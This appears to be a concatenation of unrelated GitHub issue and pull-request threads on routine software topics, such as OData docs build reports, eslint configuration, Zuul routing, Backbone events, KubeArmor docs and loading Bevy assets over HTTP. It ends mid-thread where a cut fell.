ID: c179cec0-fc0c-2f8e-8b15-cd23b46e58dd
Version Independent ID: 7d9137c1-5db0-c8ec-419c-ac4540433438
Content: if
Content Source: WindowsServerDocs/administration/windows-commands/if.md
Product: windows-server
Technology: manage-windows-commands
GitHub Login: @coreyp-at-msft
Microsoft Alias: coreyp

I think the whole point of that last line is to demonstrate the use of "Less than or Equal to" (LEQ) in conjunction with %errorlevel% -- meaning that maybe someone would want to return the same result for both errorlevel 1 and errorlevel 0.
Of course, your suggestion would be useful in some (many) scenarios, but this Note example is probably not intended for simplicity, only to show the usage of arithmetic operators in combination with the errorlevel check.

Hey creahard,
Thanks again for contacting Microsoft. We value your feedback.
The explanation given by the ghost account is accurate in what the example was conveying for the if command using %errorlevel%. As this is a non-documentation issue, we'll now be closing this thread.
Thank you and have a most pleasant day.
#please-close


catsqa updates and change log added

Docs Build status updates of commit e572b64:
:warning: Validation status: warnings

File
Status
Preview URL
Details

Odata-docs/changelog/odl/odl-7.x.md
:warning:Warning
View
Details

Odata-docs/assets/2018-11-20-ODLv6xInheritance.png
:white_check_mark:Succeeded
View

Odata-docs/changelog/changelog.md
:white_check_mark:Succeeded
View

Odata-docs/changelog/webapi/webapi-7.x.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/data-model.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/metadata-adv.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/metadata.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/payload-formats.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/queryoptions-overview.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/queryoptions-usage.md
:white_check_mark:Succeeded
View

Odata-docs/index.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/OData-Client-Code-Generation-Tool.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-annotation-support.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-async-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-batch-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/query-options.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/use-client-hooks-in-odata-client.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/create-spatial-instances.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-entity-relations.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-spatial-property.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/use-uri-parser-v6.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/INOperator.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/Multi-Binding.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/ResourceValue.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/add-annotations-to-enummember.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/additional-prefer-header.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/aggregation-support.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/allow-serialization-of-additional-pproperties.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/alternatekey.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/capabilitiesVocabulary.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/customizable-type-facets-promotion.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/edm/build-basic-model.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-annotations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-entity-relations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-operations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-referential-constraints.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-singleton.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-type-inheritance.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/read-write-model.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/using-model-utilities.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/override-primitive-serialization-deserialization.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/parsing-url-template.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/use-uri-parser.md
:white_check_mark:Succeeded
View

Odata-docs/resources/roadmap.md
:white_check_mark:Succeeded
View

Odata-docs/resources/tools.md
:white_check_mark:Succeeded
View

Odata-docs/spatial/create-spatial-instances.md
:white_check_mark:Succeeded
View

Odata-docs/spatial/define-spatial-property.md
:white_check_mark:Succeeded
View

Odata-docs/webapi/Alternate-Key.md
:white_check_mark:Succeeded
View

Odata-docs/webapi/DateAndTimeOfDayWithEF.md
:white_check_mark:Succeeded
View

This comment lists only the first 50 files in the pull request.

Odata-docs/changelog/odl/odl-7.x.md

Line 54: [Warning] Invalid file link:(~/changelog/odl/odata/odatalib/navigation-under-complex).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Docs Build status updates of commit 32ff293:
:warning: Validation status: warnings

File
Status
Preview URL
Details

Odata-docs/TOC.yml
:warning:Warning
View
Details

Odata-docs/changelog/odl/odl-7.x.md
:warning:Warning
View
Details

Odata-docs/assets/2018-11-20-ODLv6xInheritance.png
:white_check_mark:Succeeded
View

Odata-docs/changelog/webapi/webapi-7.x.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/data-model.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/metadata-adv.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/metadata.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/payload-formats.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/queryoptions-overview.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/queryoptions-usage.md
:white_check_mark:Succeeded
View

Odata-docs/index.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/OData-Client-Code-Generation-Tool.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-annotation-support.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-async-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-batch-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/query-options.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/use-client-hooks-in-odata-client.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/create-spatial-instances.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-entity-relations.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-spatial-property.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/use-uri-parser-v6.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/INOperator.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/Multi-Binding.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/ResourceValue.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/add-annotations-to-enummember.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/additional-prefer-header.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/aggregation-support.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/allow-serialization-of-additional-pproperties.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/alternatekey.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/capabilitiesVocabulary.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/customizable-type-facets-promotion.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/edm/build-basic-model.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-annotations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-entity-relations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-operations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-referential-constraints.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-singleton.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-type-inheritance.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/read-write-model.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/using-model-utilities.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/override-primitive-serialization-deserialization.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/parsing-url-template.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/use-uri-parser.md
:white_check_mark:Succeeded
View

Odata-docs/resources/roadmap.md
:white_check_mark:Succeeded
View

Odata-docs/resources/tools.md
:white_check_mark:Succeeded
View

Odata-docs/spatial/create-spatial-instances.md
:white_check_mark:Succeeded
View

Odata-docs/spatial/define-spatial-property.md
:white_check_mark:Succeeded
View

Odata-docs/webapi/Alternate-Key.md
:white_check_mark:Succeeded
View

Odata-docs/webapi/DateAndTimeOfDayWithEF.md
:white_check_mark:Succeeded
View

This comment lists only the first 50 files in the pull request.

Odata-docs/TOC.yml

Line 0: [Warning] Invalid file link:(~/index).
Line 0: [Warning] Invalid file link:(~/odata/webapi/expanded-navigation-delta).

Odata-docs/changelog/odl/odl-7.x.md

Line 72: [Warning] Invalid file link:(~/changelog/odl/odata/odatalib/navigation-under-complex).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Docs Build status updates of commit 0d8d229:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

Odata-docs/TOC.yml
:white_check_mark:Succeeded
View

Odata-docs/assets/2018-11-20-ODLv6xInheritance.png
:white_check_mark:Succeeded
View

Odata-docs/changelog/odl/odl-7.x.md
:white_check_mark:Succeeded
View

Odata-docs/changelog/webapi/webapi-7.x.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/data-model.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/metadata-adv.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/metadata.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/payload-formats.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/queryoptions-overview.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/queryoptions-usage.md
:white_check_mark:Succeeded
View

Odata-docs/index.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/OData-Client-Code-Generation-Tool.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-annotation-support.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-async-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-batch-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/query-options.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/use-client-hooks-in-odata-client.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/create-spatial-instances.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-entity-relations.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-spatial-property.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/use-uri-parser-v6.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/INOperator.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/Multi-Binding.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/ResourceValue.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/add-annotations-to-enummember.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/additional-prefer-header.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/aggregation-support.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/allow-serialization-of-additional-pproperties.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/alternatekey.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/capabilitiesVocabulary.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/customizable-type-facets-promotion.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/edm/build-basic-model.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-annotations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-entity-relations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-operations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-referential-constraints.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-singleton.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-type-inheritance.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/read-write-model.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/using-model-utilities.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/override-primitive-serialization-deserialization.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/parsing-url-template.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/use-uri-parser.md
:white_check_mark:Succeeded
View

Odata-docs/resources/roadmap.md
:white_check_mark:Succeeded
View

Odata-docs/resources/tools.md
:white_check_mark:Succeeded
View

Odata-docs/spatial/create-spatial-instances.md
:white_check_mark:Succeeded
View

Odata-docs/spatial/define-spatial-property.md
:white_check_mark:Succeeded
View

Odata-docs/webapi/Alternate-Key.md
:white_check_mark:Succeeded
View

Odata-docs/webapi/DateAndTimeOfDayWithEF.md
:white_check_mark:Succeeded
View

This comment lists only the first 50 files in the pull request.
For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Docs Build status updates of commit 8040b23:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

Odata-docs/TOC.yml
:white_check_mark:Succeeded
View

Odata-docs/assets/2018-11-20-ODLv6xInheritance.png
:white_check_mark:Succeeded
View

Odata-docs/changelog/odl/odl-7.x.md
:white_check_mark:Succeeded
View

Odata-docs/changelog/webapi/webapi-7.x.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/data-model.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/metadata-adv.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/metadata.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/payload-formats.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/queryoptions-overview.md
:white_check_mark:Succeeded
View

Odata-docs/concepts/queryoptions-usage.md
:white_check_mark:Succeeded
View

Odata-docs/index.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/OData-Client-Code-Generation-Tool.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-annotation-support.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-async-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/client-batch-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/query-options.md
:white_check_mark:Succeeded
View

Odata-docs/odataclient/v6/use-client-hooks-in-odata-client.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/create-spatial-instances.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-entity-relations.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-operations.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/define-spatial-property.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v6/use-uri-parser-v6.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/INOperator.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/Multi-Binding.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/ResourceValue.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/add-annotations-to-enummember.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/additional-prefer-header.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/aggregation-support.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/allow-serialization-of-additional-pproperties.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/alternatekey.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/capabilitiesVocabulary.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/customizable-type-facets-promotion.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/edm/build-basic-model.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-annotations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-entity-relations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-operations.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-referential-constraints.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-singleton.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/define-type-inheritance.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/read-write-model.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/edm/using-model-utilities.md
:white_check_mark:Succeeded

Odata-docs/odatalib/v7/override-primitive-serialization-deserialization.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/parsing-url-template.md
:white_check_mark:Succeeded
View

Odata-docs/odatalib/v7/use-uri-parser.md
:white_check_mark:Succeeded
View

Odata-docs/resources/roadmap.md
:white_check_mark:Succeeded
View

Odata-docs/resources/tools.md
:white_check_mark:Succeeded
View

Odata-docs/spatial/create-spatial-instances.md
:white_check_mark:Succeeded
View

Odata-docs/spatial/define-spatial-property.md
:white_check_mark:Succeeded
View

Odata-docs/webapi/Alternate-Key.md
:white_check_mark:Succeeded
View

Odata-docs/webapi/DateAndTimeOfDayWithEF.md
:white_check_mark:Succeeded
View

This comment lists only the first 50 files in the pull request.
For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


resolve eslint errors

je viens de voir les builds fails alors que les eslint-disable etc sont au bonne endroit pour moi

Can you use the prettify task, I think there's some unwanted spaces in some places too ?

I use the prettier but it seem's to change text and create eslint error. Like
console.log(  /* eslint-disable-line no-console */
"my text"
);

after prettier

console.log(
"my text" /* eslint-disable-line no-console */
);

so after it's causing bug so we have to change prettier config or eslint config choose and tell me ^^

I think you can disable the console log rules for some files. You can do a minimalist eslintrc for mjml-cli & mjml-migrate to allow console log rule ?


Zuul SimpleHostRoutingFilter isn't forwarding  GET method body.

Sometime we need body in http GET method as well.  I can see buildHttpRequest method of  SimpleHostRoutingFilter class is not sending body to backend host. Can you please tell this is intentional, If not I can fix it and send a PR.

It's not something supported by default https://stackoverflow.com/questions/12535016/apache-httpclient-get-with-body.
This module has entered maintenance mode. This means that the Spring Cloud team will no longer be adding new features to the module. We will fix blocker bugs and security issues, and we will also consider and review a small pull request from you.
So, PRs welcome.

Yes, it's not supported by default. Let's not change the default behaviour but we can have a flag. Setting that flag will override default behaviour. We can do something like solution suggested in above stackoverflow answer.
`import org.apache.http.client.methods.HttpEntityEnclosingRequestBase;
public class HttpGetWithEntity extends HttpEntityEnclosingRequestBase {
public final static String METHOD_NAME = "GET";
@Override
public String getMethod() {
    return METHOD_NAME;
}

}`


Why Pyke instead of SWI-Prolog?

Halo. To my knowledge, Pyke is not a very popular Prolog solver and uses special syntax. Why don't you use the original SWI-Prolog and choose to use Pyke?

I have tested the Prolog for the ProofWriter dataset. I find that the rules may have loops and the Prolog engine does not handle this issue. Pyke seems to have a different behavior with the default Prolog.


styling needed

Hi is there styling functionality available for this project? let me know thanks!

No, but it's possible.
You can override default style from your end unless you want to improve the default style.
https://github.com/ng2-ui/ng2-auto-complete/blob/master/src/ng2-auto-complete.component.ts#L54

If you want to imporove the existing style, please create another PR


Update to newest TUF version

From @awwad on December 1, 2016 21:18
The depended-on fork of TUF (awwad/tuf@pinning) is slightly out of date. The TAP 4 modifications and a few other minor tweaks to TUF that Uptane depends on need to be merged into theupdateframework/tuf, and Uptane needs to switch to using TUF proper rather than a fork of TUF.
Copied from original issue: awwad/uptane#16

See also #23

Closed: replaced by more detailed issue #23.


EKS Cluster Setup Documentation

Signed-off-by: slayer321<EMAIL_ADDRESS>This PR solves #493

Hey @slayer321 thanks for the PR.
As mentioned in the meta issue https://github.com/kubearmor/KubeArmor/issues/477
We wanted to use collapsible sections to include docs as part of single file to avoid redirecting users to various links. Can you update your PR to accommodate that?
More about collapsible sections https://docs.github.com/en/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections

Hey @daemon1024, I added docs in collapsible sections. Is it what was expected?

I made the changes and was trying to push it got an error
To https://github.com/slayer321/KubeArmor.git
 ! [rejected]        issue-493 -> issue-493 (non-fast-forward)
error: failed to push some refs to 'https://github.com/slayer321/KubeArmor.git'
hint: Updates were rejected because the tip of your current branch is behind
hint: its remote counterpart. Integrate the remote changes (e.g.
hint: 'git pull ...') before pushing again.
hint: See the 'Note about fast-forwards' in 'git push --help' for details.

Also did git pull
sachin@ubuntu:~/goworkspace/src/github/opensource/KubeArmor$ git branch
  issue-493
* main
sachin@ubuntu:~/goworkspace/src/github/opensource/KubeArmor$ git pull
Already up to date.

what I can see is @nam-jaehyun  has made some changes in PR .. is it due to that

is it due to that?
Right.
Can you do a git pull on issue-403 branch?
You might need to do git pull --rebase specify remote and branch if needed.


Could not extract signature deciphering actions

Getting this error today. I did not get it in the past few days.
Could not extract signature deciphering actions

Should be fixed by the version 0.1.2 I just published.


Priority level - nice

Hi, this is more like an information request, than an issue.
Why is there necessary to use nice inside the container? There are other methods to limit or prioritize the container itself instead of operating with the process inside the container.
I also found out that nice cannot work inside the container without granting SYS_NICE capability to the container.
https://docs.docker.com/config/containers/resource_constraints/#configure-the-docker-daemon
I would specify this information in the documentation if nice will be kept.

For what it's worth I cannot initialize a repository on my Synology (DSM 7.1.1) and tracked it down to  line container-init-up-20-init.sh#L35. Rolling back commit bbed16f solved the issue. I tried granting SYS_NICE to no avail; I suspect it is a limitation of DSM. Would you be open to making prioritization optional?

For what it's worth I cannot initialize a repository on my Synology (DSM 7.1.1) and tracked it down to line container-init-up-20-init.sh#L35. Rolling back commit bbed16f solved the issue. I tried granting SYS_NICE to no avail; I suspect it is a limitation of DSM. Would you be open to making prioritization optional?

I'm afraid I've made a mistake. My issue was NOT to do with nice. It was late and I missed that in addition to removing nice I also added "cd /config" just before line 35 and THAT is what solved my issue. So initialization is failing for me because .duplicacy is being created in "/run/s6-rc:s6-rc-init:PAgNln/servicedirs/s6rc-oneshot-runner" rather than /config. And so downstream calls to backup.sh result in "Repository has not been initialized". I don't want to hijack this tread but any pointers would be appreciated.


setting (click or touchstart) events more dynamically in .View

I've got a dilemma maybe there's an easy solution to, but perhaps one could extend the way Backbone sets up events in View.
For a cross-device app for mouse-users as well as tablet use, it helps to swap out "click" events for "touchstart", and for the touch-client to not allow for certain click events, as it creates a less responsive UI.  So, I'd like to be able to set events more dynamically without having to write a lot of conditional blocks. One could include all of the possible events in the events object, too, and mute them later in handlers, but it'd be nice to nip things at the bud.
Is there a simple workaround here? A modification to how Backbone parses the events object strings?
var clicktouch = "click";
if (Modernizr.touch) {
        clicktouch = "touchstart";
 }

var FooView = Backbone.View.extend({

// initialize, template etc.

events:  {
     // it would be great to use this
     //  ------- but it doesn't work for some reason
    clicktouch + " .titlespan" : "titleClick"

    // instead of needing to do something like this
    if (clicktouch == "touchstart") {
        "touchstart .timeline-title-span" : "titleClick"
    } else {
        "click .timeline-title-span" : "titleClick"
    }

}

// titleClick etc
}

@timeglider thanks for the ticket
Good news is that this behavior is already supported! As of 0.5.3:

The events property may also be defined as a function that returns an events hash, to make it easier to programmatically define your events, as well as inherit them from parent views.

Thanks Sam: Glad to know!  I'll give this a try, but meanwhile: Do you know of a sample somewhere?

No problemo. here's a quick example of that: http://jsfiddle.net/wookiehangover/YTV9B/

Thanks so much Sam.

Anyway in Javascript literal object notation you cannot use expression as keys, so the following is not valid:
var test = 'foo';
var obj = { test+'_bar' : 'baz' }; // Error!

Even if the following is correct:
var test = 'foo';
var obj = {};
obj[test + '_bar'] = 'baz';

In the last case what you put inside [ ] can be an expression. JS literal object notation's keys must be strings (both single and double quote) or literals (and follows the same rules of a variable name). Please note that JSON is not the same thing, also because it requires double quotes.


Activation FakeQuantizer Insertion after Concat

Hi,
It seems in the current implementation of quantizer, activation FakeQuantizer would be inserted after concat op, like the following:

It is quite reasonable in most cases. However, if only one branch is required for inference (for example, other branchs might be only used as learning guidance), is it still the optimal choice? If it worths a try, is there any public API to support customized insertion?
Any advice would be appreciated.

If any branches do not participate in learining procedure should be seperated as another model.

Thank you for your comment.
All branchs (saying B1 -- B4) used in learning but only one (saying B1) left for inference. Do you mean separate B1 and B2-B4 into two modules?

Yes, try split the model. Should solve your problem.

Thanks!


Add User Shirt Size to Document

Overview
Whenever a user uploads their Chapter Application, they are first prompted to submit their shirt size. Currently, this shirt size is being stored in the users private data. This shirt size needs to be moved to a new document/collection to have the admins approve the users shirt size along with their two document uploads.
Task

[x] Move the location of the saved location of the users shirt size
[x] Have the users shirt size appear when being approved or denied

Overview
Whenever a user uploads one of their applications (either chapter or national) they appear in the admin dashboard for admins to approve their application. Whenever a user who has only uploaded one document is clicked on, the application crashes.
Task

Fix the check that makes users available to approve/deny their applications
Make sure that neither of the users documents are undefined

Task 1:
Task 2:


rcnet files are not easily version controllable.

Right now the project is using some kind of object persisted to disk file, which isn't text-based. This presents a problem for version controlling rcnet files when using Git or SVN. They're just committed as binary objects and it's hard to see what changed.
I vote we move to system.json. JSON is an industry standard, and a very lightweight human readable standard which would solve this issue.

I didn't need line based version controlling until now, so I don't have an opinion currently. This would be a breaking change because I don't want to support multiple file formats.
For your information: System.Json isn't available on the .NET Framework.

We could release a converter maybe? Or, we could make it where it only loads rcnet files but doesn't save them and lets the user know they're legacy and will be removed at a future date.

Would fix #8 too.

rcnet files are ZIP files with a single XML file inside.
Possible solution to make rcnet files version controllable is to decompress an rcnet file before commit and store it as XML file in the repo, and to compress the XML again on checkout.
In git this probably can be automated via pre-commit and post-checkout hooks.


Feature: Upstream bevy_web_asset, allowing assets loaded via http

What problem does this solve or what need does it fill?
Being able to load assets from http and https urls.
This is particulary relevant for examples, files that are too big for source control are often stored in external zip files requiring awkward download & extract workflows for people just getting started with a crate.
It also makes both wasm and native binaries more portable, as the additional 'assets' folder isnt required to always be placed alongside them, a big win for game jams etc.
What solution would you like?
For url assets to 'just work', meaning if a path starts with http/https the asset will be loaded via the http client:
# intercepted by http client
asset_server.load("http://example.com/fox.glb");
# https also accepted
asset_server.load("https://example.com/fox.glb");
# load normally
asset_server.load("/fox.glb");

What alternative(s) have you considered?
Keep this as a third party crate
Pros:

No changes/maintenance needed for bevy core

Cons:

Bevy examples face same pain point mentioned above
No blessed solution for this issue in ecosystem crates

Additional context
Considerations

Disk Caching: Browsers usually quietly (and unpredictably) cache files on disk so that they arent fetched on every reload, we will need something similar for native builds, and possibly a more predictable implementation on wasm builds, for example using IndexedDB.
Choice of HTTP client: It makes sense to go with the same client used elsewhere in Bevy, ie bevy_remote, unless it is missing some critical feature.
Feature Flags: Because this adds a http client to bevy_asset it should be behind a feature flag, we will need to decide whether this is to be included by default, in my opinion it should be.
CORS: files fetched by native builds dont need cors enabled but it will be required for wasm builds to work, this creates an inconsistency that we may want to flag on native builds if the headers are not present.
Work: @johanhelsing has mentioned that they dont have the capacity to work on this at the moment. I'm happy to get the ball rolling when I get some time, though this will be my most contraversial PR so I may need some mentorship.

bevy_web_asset is a tiny crate, with <250 lines of code. I guess the most work required here will be a caching solution.

This would be useful for https://github.com/bevyengine/bevy/issues/13875, to the point where I think something shaped like this is probably a prerequisite.

On caching: I think the simplest solution here is to rely on HTTP-caching. Maybe add an option to put a hash of each asset as a suffix on the file name, along with generating a manifest (never cached) containing each up-to-date path. This way we can fully rely on the browsers cache while ensuring changed assets are reloaded. (Similar to what web tools like Vite do) Maybe this would be possible with asset preprocessing? 🤔
The above could solve caching on WASM builds. For native builds we might be able to use the same approach with a client library that supports caching.

Choice of HTTP client: It makes sense to go with the same client used elsewhere in Bevy, ie bevy_remote, unless it is missing some critical feature.

bevy_remote does not use any HTTP client, just the server implementation. The client example uses ureq directly.
ureq is not async though. reqwest or surf might be better alternatives. Both has cache middleware implementations through the http-cache crate.

Yes its totally reasonable for us to use default http caching, but if we go that way we should make the limitations clear to users and ensure the api is extensible so an ecosystem crate can implement a more formal mechanisim.
Limitations
These are the particular issues i have with the http cache spec:

It is largely opaque with very few guarantees
Each browser implements it differently
Even chrome doesnt cache large files approx > 25Mb

For me the third issue is the dealbreaker. Afik the only solution for large files like video, complex 3d models or client-side AI models is IndexedDb. Browsers can still evict that content if they need to but theres a high chance of it being available across page reloads, which is particularly important during development and unit tests.
For reference:

MDN  Storage Docs outlines some browser differences
Chrome Storage Docs goes deeper on chrome policies
http cache spec describes what is and isnt guaranteed

Next steps
I think there's enough for a first draft:

Use built-in browser caches and the http-cache middleware for surf
Ensure the api is extensible for third parties to implement bevy_big_web_asset or similar

Maybe once thats in and we've all had a chance to play with the behavior we can revisit manifests, large files etc in a second iteration.


Make sure the aspect ratio of the density plot is similar to the volume

I noticed it was hardcoded to 2,1,1 . So I changed it to lattice.abc also adjusted the "eye" location to provide a view relative to lattice.abc instead of 2,1,1

Nice catch! I changed the code to prefer the volume lattice in line with #175 and removed some defaults.


Add upload and download functionality

Would solve #36. Most things seems to work as intended, very sparse detection of languages for
